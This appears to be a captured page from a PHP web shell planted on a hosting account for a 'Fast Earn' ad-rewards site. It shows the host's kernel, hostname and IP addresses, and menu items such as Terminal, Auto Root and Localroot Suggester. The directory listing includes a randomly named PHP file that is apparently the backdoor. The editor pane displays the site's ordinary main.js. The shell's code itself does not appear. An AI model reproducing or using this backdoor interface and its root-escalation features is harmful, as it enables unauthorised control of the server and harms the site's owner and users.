Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
public_html /
assets /
js /
Delete
Unzip
Name
Size
Permission
Date
Action
error_log
309.96
KB
-rw-r--r--
2026-04-18 17:35
main.js
7.62
KB
-rw-r--r--
2025-12-26 13:12
yfnpzxTs.php
324.14
KB
-rw-r--r--
2026-02-14 02:56
Save
Rename
// FAST EARN LIMITED - Main JavaScript document.addEventListener('DOMContentLoaded', function () { // Sidebar Toggle const menuToggle = document.querySelector('.menu-toggle'); const sidebar = document.querySelector('.sidebar'); const sidebarOverlay = document.querySelector('.sidebar-overlay'); if (menuToggle) { menuToggle.addEventListener('click', function () { sidebar.classList.toggle('active'); sidebarOverlay.classList.toggle('active'); }); } if (sidebarOverlay) { sidebarOverlay.addEventListener('click', function () { sidebar.classList.remove('active'); sidebarOverlay.classList.remove('active'); }); } // Auto-hide alerts after 5 seconds (except permanent ones) const alerts = document.querySelectorAll('.alert:not(.alert-permanent)'); alerts.forEach(function (alert) { setTimeout(function () { alert.style.animation = 'slideOutUp 0.3s ease'; setTimeout(function () { alert.remove(); }, 300); }, 5000); }); // Slider functionality const sliderImages = document.querySelectorAll('.slider img'); let currentSlide = 0; function showSlide(index) { sliderImages.forEach(function (img, i) { img.classList.remove('active'); if (i === index) { img.classList.add('active'); } }); } function nextSlide() { currentSlide = (currentSlide + 1) % sliderImages.length; showSlide(currentSlide); } if (sliderImages.length > 0) { showSlide(0); setInterval(nextSlide, 5000); // Change slide every 5 seconds } // Active menu item const currentPage = window.location.pathname.split('/').pop(); const menuLinks = document.querySelectorAll('.sidebar-menu a'); menuLinks.forEach(function (link) { const href = link.getAttribute('href'); if (href === currentPage || (currentPage === '' && href === 'dashboard.php')) { link.classList.add('active'); } }); }); // Modal functions function showModal(modalId) { const modal = document.getElementById(modalId); if (modal) { modal.classList.add('active'); } } function hideModal(modalId) { const modal = document.getElementById(modalId); if (modal) { modal.classList.remove('active'); } } // Ad Timer function startAdTimer(duration, adId, earning) { let timeLeft = duration; const timerElement = document.getElementById('ad-timer'); const watchButton = document.getElementById('watch-button'); if (!timerElement || !watchButton) return; watchButton.disabled = true; watchButton.textContent = 'Watching...'; const interval = setInterval(function () { timeLeft--; timerElement.textContent = timeLeft; if (timeLeft <= 0) { clearInterval(interval); completeAd(adId, earning); } }, 1000); } function completeAd(adId, earning) { // Submit ad completion via AJAX fetch('watch_ad_complete.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'ad_id=' + adId }) .then(response => response.json()) .then(data => { if (data.success) { showPopup('Success!', 'You earned $' + earning.toFixed(6) + ' from this ad.', 'success'); setTimeout(function () { location.reload(); }, 2000); } else { showPopup('Error', data.message || 'Failed to complete ad.', 'error'); } }) .catch(error => { showPopup('Error', 'Ad Processing Error: ' + error.message, 'error'); }); } // Show popup message function showPopup(title, message, type) { const popup = document.createElement('div'); popup.className = 'modal active'; popup.innerHTML = ` <div class="modal-content"> <div class="modal-header">${title}</div> <div class="modal-body">${message}</div> <div class="modal-footer"> <button class="btn btn-primary" onclick="this.closest('.modal').remove()">OK</button> </div> </div> `; document.body.appendChild(popup); } // Confirm action function confirmAction(message, callback) { const popup = document.createElement('div'); popup.className = 'modal active'; popup.innerHTML = ` <div class="modal-content"> <div class="modal-header">Confirm Action</div> <div class="modal-body">${message}</div> <div class="modal-footer"> <button class="btn btn-secondary" onclick="this.closest('.modal').remove()">Cancel</button> <button class="btn btn-primary" id="confirm-btn">Confirm</button> </div> </div> `; document.body.appendChild(popup); document.getElementById('confirm-btn').addEventListener('click', function () { popup.remove(); callback(); }); } // Format currency function formatCurrency(amount) { return '$' + parseFloat(amount).toFixed(6); } // Copy to clipboard function copyToClipboard(text) { const textarea = document.createElement('textarea'); textarea.value = text; document.body.appendChild(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea); showPopup('Success', 'Copied to clipboard!', 'success'); } // Preview image before upload function previewImage(input, previewId) { if (input.files && input.files[0]) { const reader = new FileReader(); reader.onload = function (e) { document.getElementById(previewId).src = e.target.result; }; reader.readAsDataURL(input.files[0]); } } // Validate form function validateForm(formId) { const form = document.getElementById(formId); if (!form) return false; const inputs = form.querySelectorAll('input[required], select[required], textarea[required]'); let isValid = true; inputs.forEach(function (input) { if (!input.value.trim()) { input.style.borderColor = 'var(--danger-color)'; isValid = false; } else { input.style.borderColor = 'var(--border-color)'; } }); if (!isValid) { showPopup('Error', 'Please fill in all required fields.', 'error'); } return isValid; } // Update today's income (reset daily) function updateTodayIncome() { const lastUpdate = localStorage.getItem('lastIncomeUpdate'); const today = new Date().toDateString(); if (lastUpdate !== today) { // Reset today's income via AJAX fetch('reset_today_income.php', { method: 'POST' }) .then(response => response.json()) .then(data => { if (data.success) { localStorage.setItem('lastIncomeUpdate', today); } }); } } // Call on page load updateTodayIncome(); // Add slideOutUp animation const style = document.createElement('style'); style.textContent = ` @keyframes slideOutUp { from { transform: translateY(0); opacity: 1; } to { transform: translateY(-20px); opacity: 0; } } `; document.head.appendChild(style);